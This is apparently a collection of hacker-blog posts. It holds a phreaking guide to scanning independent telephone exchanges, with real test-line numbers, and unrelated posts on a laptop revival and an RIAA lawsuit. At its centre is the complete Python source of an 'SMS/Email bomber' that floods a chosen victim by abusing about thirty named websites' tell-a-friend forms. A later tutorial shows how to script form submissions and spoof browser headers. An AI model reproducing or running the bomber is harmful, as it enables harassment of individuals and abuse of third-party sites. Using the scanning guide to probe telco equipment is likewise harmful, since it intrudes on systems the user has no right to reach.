While scowering through the internet, you'll find plenty of articles on scanning a whole exchange, or scanning RBOC territories. Perhaps because of their unpredictability or scarcity, though, there's been little documentation on them. That's what this article aims to address. With a bit of practice, this guide will show you how to reach a lot of the fun goodies independents might have.
Aside from being independent obviously, the most common thing you can expect from one independent office to another is unpredictability. There's a lot of independents
operating under completely different budgets. Some of them have brand new shiny IP switches running their office, and others are running switches with old software, no SS7, and even ancient, magnetic tape-based announcement systems. Fortunately for us, though, even in such completely different environments, peoples' inventiveness only
goes so far. Most technicians don't want to bother with assigning test numbers to random places. It's common to see someone put a milliwatt on someplace like, say, 1000, and then start working their way up just because it's convenient.
So you might be wondering, what kind of things might you find when you're browsing through independent territory? Well, it depends on where you look. A lot of independent companies like to buy out of the box solutions for doing AIS and other functions. That being considered, things can get a little dull when you're scanning through some independents. It has it's advantages, though. Some manufacturers of AIS equipment, most notably Innovative Systems, will cram a whole bunch of other features
onto their AISes like conferencing and remote call forwarding. So what's this mean for you? If you manage to find them, you've got yourself a ton of low profile places
to conference. On the opposite side of the spectrum, there's also the obscure, weird telcos that like making their own solutions to problems. It's from these that I've
found some of the most bizarre, off-the-wall things that I've ever seen on the telephone network.
Although it's uncommon for independents to have more than one exchange, finding the right one to look in should be simple enough. More often then not, this is the same
one where the business office, payphones, and seemingly "older" numbers, such as post offices, government agencies if they exist, and anything else you can imagine having
been there thirty or forty years ago. As mentioned above, a good place to start off with is 1000. If you get a nice loud milliwatt in your ear, you're on the right
track. As with any other group of test numbers, though, don't let this be a definite indicator. If you don't see anything telco-related ten or fifteen numbers up, it's
possible they just stuck the milliwatt there as an afterthought. If you decide to check out some of the other blocks, 0020 is also a real popular spot for milliwatts
in independents, especially in former GTE territory. After you've checked some of the usual spots for cool stuff in RBOC territories like 00xx and 99xx, another good place
to look are near blocks resembling the standard codes for certain test lines. There's a standard numerical value telcos use for test lines, like 102 for a milliwatt, 100
for a quiet termination, or 105 for transmission testing equipment. To give a real life example, a certain telephone company in Alaska will put milliwatts on all their
switches near 1102, all their quiet termination tests on 1100, and so forth, while a completely unrelated telephone company in North Carolina would put their quiet
termination line on 9400 and the first side of their loop on 9408. Sometimes it can just be the luck of the draw, but if you're feeling impatient, 01xx, 10xx and 11xx
are the first places I look if I'm using this method.
Another good way to check for cool things is to use the resources the telephone company gives you to your advantage. If the company's business office is in 21xx,
it's quite possible that it's stashed right in there with some leet telco goodies just waiting to be cracked open. If their website lets see this information, remote call forwarding numbers and voicemail access numbers (with the exception of voicemail access numbers ending in 6245 - I'll get to that in the next paragraph) are an equally great, if not even better place to look near.
The last method I'm about to discuss is something that may seem a little ridiculous, but a surprising amount of companies like doing this. Make up four letter words on
your keypad, like TALK (8255), CONF (2663), TEST (8378), or MAIL (6245). Dial, say, 555-CONF, and you might find yourself a conference! The amount of people who do this
is insane. Even earlier today, the day I started writing this article, I found a CLEC in the Northeast that puts their milliwatts on the last four digits TONE. When you do
this, you might not have as much luck finding other things in the same range, but it can and in several cases, will be done.
So hopefully by now, you've found something interesting in whatever independent company you might be scowering and/or plundering. If not, the nice thing about independents is that there's so many. If there doesn't seem to be any in one, you can always move onto the next company down the road. To close like any proper scanning article, here's a few interesting things I've found during my scans.
828-749-9998 - Expanded Announcement System (doesn't supervise)
503-759-0067 - We're sorry, the number you are trying to dial is a mis-routed ported number. If you feel this is an error, please call the business office for assistance
503-266-1003 - Sensaphone in central office
831-389-4504 - Some kind of CO equipment monitor. Cool voice, anywho
850-561-0000 - DMS voice, remote access equpiment?
252-535-0001 - Weird test line, switches from 1000 hz to some shrill tone every few seconds
828-297-9990 - Sensaphone in central office
Today I'm dropping an SMS/Email bomber on you guys. It's written in Python. Feel free to edit it anyway you like, but please leave the comment block at the top alone. It requires a module I wrote just for this purpose, which is included after the source code.
Forgive the shitty code, I was a little lazy writing it, but it should work killer. Enjoy.
(Props to Alpha_Centauri for giving me the evil idea)
Here's a direct link to a zip file that includes both tellfriend.py and getcarrier.py: TellFriend.zip
# Tell-A-Friend SMS/Email Bomber
#
# v 1.3
#
# By: PhreakerD7
#
# AntiLimit.net
#
import urllib, urllib2, random, getcarrier
def carriers1():
file2 = open("carriers.txt","r")
info = file2.read().split("\n")
file2.close()
info.pop()
#print info
carriers = {}
for x in range(0,len(info)):
carrier = info[x].split(":")[0].lower()
email = info[x].split(":")[1].lower()
carriers[carrier] = email
return carriers
def SMSbomb():
carriers = carriers1()
getit = getcarrier.carrier()
area = raw_input("Area: ")
npa = raw_input("Exchange: ")
number = raw_input("Number: ")
carrier = getit.getcarrier(area,npa,number).lower()
if carrier != "Error":
for x in range(0,len(carriers.keys())):
if carrier in carriers.keys()[x]:
watis = carriers.keys()[x]
carriermail = carriers[watis]
sms = area + npa + number + carriermail
break
return sms
else:
return "Error"
tellfriend = ["http://www.realty-thai.com/tellfriend.php", "http://www.sipnseestraw.com/tellfriend.php", "http://www.traditionalpuntingcompany.com/tellFriend.php", "http://site.arbico-organics.com/tell-friend/tellFriend.php", "http://www.fairy-shop.com/pages/tellFriend.php", "http://www.aha-jazyk.cz/forms/tellfriend.php", "http://www.doyourpartparks.org/send.php", "http://www.analyzethat.net/send.php", "http://woodsedgemedia.org/tellfriend_thanks.php", "http://send-email.org/", "http://www.thealiciainternational.com/products-tellfriend.php", "http://www.ibis-trials.org/ibisAndYou/tellFriend.php", "http://www.smokenders.com.au/tellfriend.php", "https://secure.elephant.co.uk/existingCustomers/tellFriend.php", "http://www.wbtcindia.com/tellfriend.php", "http://www.property-pattaya.com/tellfriend.php", "http://www.crossroads.net/awaited/tellFriend.php", "http://www.backpat.org/tellfriend.php", "http://thefuturephysician.com/modules/tellfriend/tellfriend.php", "http://www.quicktate.com/quicktate/tellfriend.php", "http://myurdunews.com/tellfriend.php?q=", "http://www.39stepsonbroadway.com/tellfriend.php", "http://www.the-fairgrounds.com/tellfriend.php", "http://www.sockdragger.net/tellfriend.php", "http://www.abelleyes.net/tellfriend.php", "http://www.holenonefarms.com/content/tellfriend.php", "http://www.vietnamrelief.org/tellfriend.php", "http://www.telephoneman.co.nz/tellfriend.php", "http://www.vision-harvest.com/support/us/tellfriend.php?url=http://antilimit.net", "http://www.jewishmarriagematters.com/tellfriend.php", "http://stopmailinrebates.com/tellfriend.php", "http://www.lungcancer.org/forms/taf/tellfriend.php", "http://www.cancercare.org/support_us/tellfriend.php"]
opener = urllib2.build_opener()
opener.addheaders = [('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')]
urllib2.install_opener(opener)
option = raw_input("(1) SMS bomb\n(2) Email bomb\n\n >> ")
if option == '1':
name = raw_input("Your name: ")
email = raw_input("Your email: ")
victim = raw_input("Victim name: ")
vicemail = SMSbomb()
if vicemail == "Error":
print "Could not get carrier for mobile phone, you're on your own there.."
exit(1)
amount = int(raw_input("Number of times to spam: "))
elif option == '2':
name = raw_input("Your name: ")
email = raw_input("Your email: ")
victim = raw_input("Victim name: ")
vicemail = raw_input("Victim email: ")
amount = int(raw_input("Number of times to spam: "))
else:
print "You fucked up :/"
exit(1)
comma = "%s,%s,%s,%s,%s" % (email,email,email,email,email)
realtythai = {"user":name, "from":email, "to":vicemail, "msg":"hey"}
sipnseestraw = {"Name":name, "Email":email, "FriendName":victim, "FriendEmail":vicemail, "emailtest":"hey", "Submit":"Send"}
punting = {"realname":victim, "toEmail":vicemail, "submit":"Submit"}
organics = {"sitename":"Arbico Organics", "urlis":"http://www.arbico-organics.com/", "redirectlink":"http://www.arbico-organics.com/", "visitor":name, "visitormail":email, "friend":victim, "friendemail":vicemail, "notes":"hey"}
fairy = {"form[from]":name, "form[from_email]":email, "form[to_email]":vicemail, "form[comment]":"hello", "submit":"Send"}
jazyk = {"myname":name, "myemail":email, "hisname":victim, "hisemail":vicemail, "message":"hey", "btnPost":"Send"}
doyourpart = {"recipients":comma, "from":name, "Submit":"Send"}
analyzethat = {"name":name, "friend":victim, "email":vicemail, "task":"SendEmail", "Submit":"Send Email"}
woodsedge = {"url":"http://wedge.7more.net", "to_name":victim, "to_email":vicemail, "from_name":name, "from_email":email, "comment":"hey"}
sendemail = {"name":name, "from":email, "to":vicemail, "subject":"hey", "body":"haiu", "act":"1"}
alicia = {"name":name, "email":email, "fmail1":vicemail, "fmail2":vicemail, "fmail3":vicemail}
ibis = {"name":name, "youremail":email, "friendemail":vicemail, "message":"hai"}
smokenders = {"friendsname":victim, "friendssurname":victim, "friendsemail":vicemail, "yourname":name, "yoursurname":name, "youremail":email, "submit":"Submit"}
elephant = {"impressedName":name, "impressedEmail":email, "friend1Name":victim, "friend1Email":vicemail, "friend2Name":victim, "friend2Email":vicemail, "friend3Name":victim, "friend3Email":vicemail}
cindia = {"email":vicemail, "subject":"ohai", "mail_body":"heydere", "submit":"Submit"}
pattaya = {"user":name, "from":email, "to":vicemail, "msg":"hey"}
roads = {"yourEmailAddress":email, "yourMessage":"Hey", "emailAddress_1":vicemail, "emailAddress_2":vicemail, "emailAddress_3":vicemail, "emailAddress_4":vicemail, "emailAddress_5":vicemail}
physician = {"to":vicemail, "subject":"check", "from":email, "EmailBody":"hello"}
tate = {"email":email, "text":"hi", "recipients":comma, "submit":"Send"}
news = {"name":name, "semail":email, "Friend":victim, "femail":vicemail, "msg":"hey", "submit":"Post Now"}
broadway = {"name":name, "email":email, "toemails":comma, "message_text":"hey", "Submit":"Send Email", "submit_id":"1", "this_page":"http://www.39stepsonbroadway.com/tellfriend.php"}
fair = {"pageID":"", "friendemail":vicemail, "youremail":email, "cFriendName":victim, "comments":"hey", "name":name, "action":"Send"}
sock = {"friendname":victim, "friendaddress":vicemail, "myname":name, "myaddress":vicemail, "includeme":"", "message":"hey", "formdone":"1"}
eyes = {"email":email, "browse":"friend", "f_email[]":vicemail, "comment":"hey"}
farms = {"your_name":name, "your_email":email, "friend_name1":victim, "friend_email1":vicemail, "friend_name2":victim, "friend_email2":vicemail, "friend_name3":victim, "friend_email3":vicemail, "tellsubmit":"doTheSend", "link":"http://antilimit.net", "message":"hello", "Submit":"Send It"}
vietnam = {"friendsFirstName":victim, "friendsLastName":victim, "friendsAddress":vicemail, "senderFirstName":name, "senderLastName":name, "senderAddress":email, "subject":"hey", "messageContents":"hi"}
telephone = {"submitted":"true", "name":name, "email":email, "friendname":victim, "friendemail":vicemail, "submit":"Submit"}
vision = {"you_name":name, "you_email":email, "f1_name":victim, "f1_email":vicemail, "f2_name":victim, "f2_email":vicemail, "f3_name":name, "f3_email":vicemail, "f4_name":victim, "f4_email":vicemail, "msg":"blah blah blah blah blah"}
lung = {"required":"YourName,YourEmail,FriendName,FriendEmail", "YourName":name, "YourEmail":email, "FriendName":victim, "FriendEmail":vicemail, "FriendName2":victim, "FriendEmail2":vicemail, "FriendName3":victim, "FriendEmail3":vicemail, "submit":"Send Message", "subject":"Tell a friend about LungCancer.org", "recipient":"sankynet@sankynet.com", "redirect":"http://www.lungcancer.org/forms/taf/taf_thanks.php?success", "missing_fields_redirect":"http://www.lungcancer.org/form/taf/tellfriend.php"}
jewish = {"name":name, "email":email, "fname1":victim, "femail1":vicemail, "fname2":victim, "femail2":vicemail, "fname3":victim, "femail3":vicemail, "submitform":"Submit"}
mailin = {"name":name, "email":email, "fname1":victim, "femail1":vicemail, "fname2":victim, "femail2":vicemail, "fname3":victim, "femail3":vicemail, "submitform":"Submit", "fname4":victim, "femail4":vicemail, "fname5":victim, "femail5":vicemail, "fname6":victim, "femail6":vicemail, "fname7":victim, "femail7":vicemail, "fname8":victim, "femail8":vicemail, "fname9":victim, "femail9":vicemail, "fname9":victim, "femail9":vicemail}
cancer = {"required":"YourName,YourEmail,FriendName,FriendEmail", "YourName":name, "YourEmail":email, "FriendName":victim, "FriendEmail":vicemail, "FriendName2":victim, "FriendEmail2":vicemail, "FriendName3":victim, "FriendEmail3":vicemail, "submit":"Send Message", "subject":"Tell a Friend about CancerCare", "recipient":"sankynet@sankynet.com", "redirect":"http://www.cancercare.org/support_us/taf_thanks.php?result=success", "missing_fields_redirect":"http://www.cancercare.org/support_us/tellfriend.php"}
for x in range(0,amount):
url = tellfriend[random.randint(0,(len(tellfriend)-1))]
referer = url
print x, ":", url
if url == "http://www.jewishmarriagematters.com/tellfriend.php":
post = jewish
elif url == "http://stopmailinrebates.com/tellfriend.php":
post = mailin
elif url == "http://www.lungcancer.org/forms/taf/tellfriend.php":
post = lung
elif url == "http://www.cancercare.org/support_us/tellfriend.php":
post = cancer
elif url == "http://www.vision-harvest.com/support/us/tellfriend.php?url=http://antilimit.net":
post = vision
elif url == "http://www.telephoneman.co.nz/tellfriend.php":
post = telephone
elif url == "http://www.vietnamrelief.org/tellfriend.php":
post = vietnam
elif url == "http://www.holenonefarms.com/content/tellfriend.php":
post = farms
elif url == "http://www.abelleyes.net/tellfriend.php":
post = eyes
elif url == "http://www.sockdragger.net/tellfriend.php":
post = sock
elif url == "http://www.the-fairgrounds.com/tellfriend.php":
post = fair
elif url == "http://www.39stepsonbroadway.com/tellfriend.php":
post = broadway
elif url == "http://myurdunews.com/tellfriend.php?q=":
post = news
url = "http://myurdunews.com/tellfriend.php"
elif url == "http://www.quicktate.com/quicktate/tellfriend.php":
post = tate
elif url == "http://thefuturephysician.com/modules/tellfriend/tellfriend.php":
url = "http://thefuturephysician.com/modules/tellfriend/dotf.php"
post = physician
elif url == "http://www.backpat.org/tellfriend.php":
post = None
vicemail1 = urllib.urlencode({"vicemail":vicemail}).split("=")[1]
name1 = urllib.urlencode({"name":name}).split("=")[1]
email1 = urllib.urlencode({"email":email}).split("=")[1]
url = "http://www.backpat.org/tellfriend.php?act=doTell&myname=%s&myemail=%s&friend_1=%s&friend_2=%s&friend_3=%s&friend_4=%s&friend_5=%s&friend_6=%s&friend_7=%s&friend_8=%s" % (name1,email1,vicemail1,vicemail1,vicemail1,vicemail1,vicemail1,vicemail1,vicemail1,vicemail1)
elif url == "http://www.crossroads.net/awaited/tellFriend.php":
post = roads
elif url == "http://www.property-pattaya.com/tellfriend.php":
post = pattaya
elif url == "http://www.wbtcindia.com/tellfriend.php":
post = cindia
elif url == "https://secure.elephant.co.uk/existingCustomers/tellFriend.php":
post = elephant
elif url == "http://www.smokenders.com.au/tellfriend.php":
post = smokenders
elif url == "http://www.ibis-trials.org/ibisAndYou/tellFriend.php":
post = ibis
elif url == "http://www.thealiciainternational.com/products-tellfriend.php":
post = alicia
elif url == "http://send-email.org/":
post = sendemail
elif url == "http://woodsedgemedia.org/tellfriend_thanks.php":
post = woodsedge
referer = "http://woodsedgemedia.org/tellfriend.php"
elif url == "http://www.analyzethat.net/send.php":
post = analyzethat
elif url == "http://www.doyourpartparks.org/send.php":
post = doyourpart
elif url == "http://www.aha-jazyk.cz/forms/tellfriend.php":
post = jazyk
elif url == "http://www.fairy-shop.com/pages/tellFriend.php":
post = fairy
elif url == "http://site.arbico-organics.com/tell-friend/tellFriend.php":
post = organics
elif url == "http://www.traditionalpuntingcompany.com/tellFriend.php":
post = punting
elif url == "http://www.sipnseestraw.com/tellfriend.php":
post = sipnseestraw
elif url == "http://www.realty-thai.com/tellfriend.php":
post = realtythai
try:
if post != None:
req = urllib.urlencode(post)
data = urllib2.Request(url,req,{'Referer':referer})
info = urllib2.urlopen(data).read()
else:
info = urllib2.urlopen(url).read()
except:
print '[*] Error'
getcarrier.py
import urllib2, urllib, cookielib
class carrier:
def __init__(self):
self.url = "http://mobilecarrierlookup.com/api/exe.asp?gourl=MCL"
cookies = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookies))
opener.addheaders = [('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')]
urllib2.install_opener(opener)
urllib2.urlopen("http://mobilecarrierlookup.com")
def getcarrier(self,area,exchange,num):
post = {"cell1":area, "cell2":exchange, "cell3":num, "tos":"yes"}
req = urllib.urlencode(post)
data = urllib2.Request(self.url,req,{'Referer':"Referer: http://mobilecarrierlookup.com/api/"})
info = urllib2.urlopen(data).read()
try:
carrier = info.split("Carrier Info: ")[1].split("")[0]
return carrier
except:
return 'Error'
Over the past month or so I've been working on a little side project with an old acer aspire 3100 laptop that I was told by 3 so-called "I.T Professionals" was dead to the world and could not be revived.
Recently in the past 2 weeks I installed Ubuntu 9.04 (Jaunty) and it worked like a charm. Finally today I got my keyboard that I had ordered for it, and despite several setbacks, including having to drill 2 of the screw heads and clean it out completely, it finally works and is now the successful blog-posting, application-running pc you see typing this blog!
Hence why proprietary software/hardware will never actually succeed over open source. Not in my opinion anyway, even though there are still a lot of factors to consider and things to adjust to, I think it is working out for the best. I realise this blog may leave you thinking, wtf are you on Alpha?! Thats not a blog!
Sometimes our schedules get the best of us and things don't work out how we planned, is not a reason to give up and stop trying. Never quit, and never say die. This is proof of that theory at work.
As for my last blog on the RIAA, I hope she does sue them for every cent they have, its ridiculous it got to that level, but now the subject is done and dusted.
In other news, the fact that Microsoft is asking people to install IE v8 (yeah the deadly one) in Australia by setting aside a ploy to state that $10k is hidden on some website, just goes to show you how desperate they really are. Its like the devil asking you to sell your soul for $10k, honestly, would you do it? I know I wouldn't.
Today I'm gonna give you guys a little bit of an insight into just how easy it is to automate web-forms using Python. For all intents and purposes, we shall be using http://AntiLimit.net/test.php as our testing form.
First things first. Lets get some basic code up in Python using the urllib2 and urllib modules. Lets import the modules real quick, and define some key functions in these modules.
import urllib, urllib2
Some important functions to look into in urllib2:
urlopen, Request, build_opener, install_opener
Urllib:
urlencode
So now that we've imported the modules, its time to visit our pretend form. First thing we do is View Source of the page (right click > View Source) and look for something like:
form action="fillout.php" method="post"
This tells us what the form is doing (POST'ing our data to fillout.php) So when we code our Python script, we're gonna want to send our POST data to http://antilimit.net/fillout.php, NOT to /test.php.
Next is to look at the variables being sent. If you're too lazy to do this, a good extension for Firefox is Live HTTP Headers. It lets you capture all out-going HTTP data as it happens. Just put the extension in capture mode, and fill out the form and hit enter. But we're gonna do it the hard way.
We see two fields here, one for username, one for password. The username field has a name of 'usern', so thats what the POST data for the username field is being sent as. The password field has a name of 'passw'. We also see a hidden POST field, named 'submitted' that has the value of 'Register'. We'll send this value as well, just in case the fillout.php script checks for it.
Lets start piecing the POST data together in the Python code:
post = {"usern":"username", "passw":"password", "submitted":"Register"}
req = urllib.urlencode(post)
Ok. So first off, post data needs to be in the form of a dictionary for urllib's urlencode function to properly encode it. It should be "POSTname":"postdata". Next, we use urllib.urlencode to properly URL encode our POST data.
Now that we've got our POST data made, we need to submit it:
data = urllib2.Request("http://antilimit.net/fillout.php",req)
info = urllib2.urlopen(data)
info = info.read()
print info
In the first line, we're using urllib2.Request to form a request to the site http://antilimit.net/fillout.php with our POST data in req. Next, we're using urllib2.urlopen to actually send our request, and info.read() is reading the data from the site. We finally print the info, and see that everything has gone smoothly.
All in all, your script should look like:
import urllib, urllib2
post = {"usern":"username", "passw":"password", "submitted":"Register"}
req = urllib.urlencode(post)
data = urllib2.Request("http://antilimit.net/fillout.php",req)
info = urllib2.urlopen(data)
info = info.read()
print info
Couple notes: Most bigger sites tend to not accept the default User-Agent urllib2.urlopen sends, which is why I mentioned you guys should look into urllib2.build_opener and urllib2.install_opener. Heres an example script of how to spoof User-Agent header information to something like that of a real browser:
opener = urllib2.build_opener()
opener.addheaders = [('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')]
urllib2.install_opener(opener)
After doing that, all calls using urllib2.urlopen will be sending the User-Agent "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)" instead of the default one. Which should make most sites let you visit and use their forms.
Another trick is some sites tend to look at the referer field, to see if you were refered by the right place, and if not, to deny access. In that case, look into adding the Referer header in your urllib2.Request's.
And lastly, look into using cookielib with urllib2.HTTPCookieProcessor. This will help solve the problem of sites that use session ID cookie, and/or other cookies.
Thats about it. Live HTTP Headers is extremely useful for these things. It'll help you figure out exactly what needs to be sent where and with what kind of header information. I hope you've enjoyed the post :)
Well this week mainly writing in regards to peoples rights online, which is a touchy subject realistically.
After browsing through an article from ITnewsWire in relation to a case against a woman who downloaded 24 songs from Kazaa, they've charged her $80,000 per song (thats 1.8 MILLION DOLLARS in case you were wondering), which is clearly outrageous. How can they expect someone to pay a bill that large? and not to mention how extremely unrealistic it is.
As quoted from that very article:
"Given the size of the statutory damages award, Ms. Thomas-Rasset's legal team will likely be seriously considering a constitutional challenge to the verdict," wrote von Lohmann.
Von Lohmann noted previous cases in which similarly large damages were overturned by higher courts as 'grossly excessive' along with Supreme Court rulings which question the authority of juries to award damages in similar cases.
Now lets think about the first sentence for a bit, statutory damages, is that not an arbitrary number that they can place on it? As long as "they" see that it's justified (even if its not!) then it must be OK! Whats even more frightening is that this is happening in a court house, to some joe schmuck that next to anyone could/does do on every second day of the week.
When are they going to stop and realise that this is most likely a problem they will never be able to fully contain, its like trying to trap the air within a balloon and then saying, lets trap ALL the air into balloons, eventually your gonna run out(in this case the balloon represents the idea's of the courts).
Sorry that this weeks blog was more of a rant than a new concept, this particular focus is on the "new concept" of the courts allowing these ridiculous cases to be upheld.
Anyway, its 1pm and I've been up all night considering what to right (not entirely true! I did do other things, but this kept bugging me because I wanted to make it sound decent).
Til next week. Have fun.
Links: ITnews.com.au
Next Week: Doing a blog on something a little less controversial hehe, its a surprise.